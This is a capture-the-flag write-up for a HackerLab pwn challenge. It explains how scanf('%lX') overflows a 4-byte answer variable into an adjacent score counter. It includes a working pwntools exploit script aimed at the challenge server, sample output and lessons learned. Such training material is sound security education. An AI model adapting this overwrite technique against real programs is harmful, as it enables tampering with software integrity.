HackerLab: Экзамен?? — Buffer Overflow via scanf(\"%lX\")
HackerLab: Экзамен?? — Buffer Overflow via scanf("%lX")
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: NA
Summary
Server: 62.173.140.174:17600
HackerLab: Экзамен?? — Buffer Overflow via scanf("%lX")
Date: 2025-12-24
Category: PWN / Buffer Overflow
Difficulty: Easy (350 points)
Flag: CODEBY{REDACTED}
Description
Снова экзамены... И их нужно решать. На дворе 2077 год и экзамены ведь уже электронные и необычные. Благо у меня есть 1 задание из него.
Server: 62.173.140.174:17600
Analysis
Binary
A math exam simulator that asks 100 questions about calculating cube volume (side³).
Key Memory Addresses
answer: 0x43b4 (4 bytes) — variable for user's answer
balls: 0x43b8 (4 bytes) — score counter (immediately after answer)
Program Logic
- The program asks 100 questions: "What is the volume of a cube with side 0xNN?"
- The answer is entered in hex format via
scanf("%lX", &answer) - For each correct answer:
balls += 1 - To get the flag:
balls == 0x12c(300 points) is required - Problem: Maximum achievable is 100 points (100 tasks × 1 point)
Vulnerability
c read-only • copy allowedscanf("%lX", &answer); // Reads 8 bytes (long), but answer is only 4 bytes!
Format %lX:
- Reads
unsigned long(8 bytes on 64-bit system) - Writes to
answer(4 bytes at address 0x43b4) - Overflow: Upper 4 bytes overwrite
balls(address 0x43b8)
Memory Layout
Address: 0x43b4 0x43b5 0x43b6 0x43b7 0x43b8 0x43b9 0x43ba 0x43bb
|-------- answer (4 bytes) ---------|-------- balls (4 bytes) ---------|
When entering an 8-byte value:
|-------- lower 4 bytes ------------|-------- upper 4 bytes ------------|
Exploitation
Strategy
- Answer 99 questions (correct or incorrect — doesn't matter)
- On the 100th question, send a special payload:
- Lower 4 bytes = correct answer (cube volume)
- Upper 4 bytes = 0x12b (299)
- After write:
balls = 299, thenballs += 1 = 300 (0x12c) - Condition
balls == 0x12cis satisfied → flag!
Payload Formula
payload = (0x12b << 32) | correct_volume
Where correct_volume = side³ for the last question.
Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import re HOST = "62.173.140.174" PORT = 17600 r = remote(HOST, PORT) r.recvuntil(b'examples.') for i in range(100): data = r.recvuntil(b'Enter the answer => ') # Extract cube side from the question match = re.search(rb'side of (0x[0-9a-fA-F]+|0) cm', data) if match: side_str = match.group(1) side = 0 if side_str == b'0' else int(side_str, 16) volume = side ** 3 if i == 99: # Last question — overflow balls # balls = 0x12b (299), after +1 = 0x12c (300) payload = (0x12b << 32) | volume answer = format(payload, 'X') log.info(f"Task 100: side={hex(side)}, volume={hex(volume)}") log.info(f"Payload: {answer} (sets balls to 299)") else: answer = format(volume, 'X') r.sendline(answer.encode()) # Get the flag print(r.recvall(timeout=10).decode())
Execution Example
[*] Task 100: side=0x5a, volume=0x1c2f58
[*] Payload: 12B0001C2F58 (sets balls to 299)
...
Congratulations! Your flag: CODEBY{REDACTED}
Key Techniques
- scanf format string overflow —
%lXreads 8 bytes into a 4-byte variable - Adjacent variable overwrite — overwriting a neighboring variable via overflow
- Little-endian exploitation — correct byte arrangement in payload
- Precise value injection — setting an exact value to pass the
==check
Vulnerability Indicators
scanf("%lX", ...)with a variable smaller than 8 bytes- Adjacent variables in memory (answer and balls)
- Win condition requires a value greater than the maximum achievable
- Hex input without length validation
Lessons
scanf("%lX")always reads 8 bytes — dangerous for 32-bit variables- Variables in .data/.bss sections are laid out sequentially
- When the goal cannot be achieved legitimately — look for overflow
- Format
%lXvs%X— critical difference in size
Tags
buffer_overflow, scanf, format_string, adjacent_variable, exact_value, math_game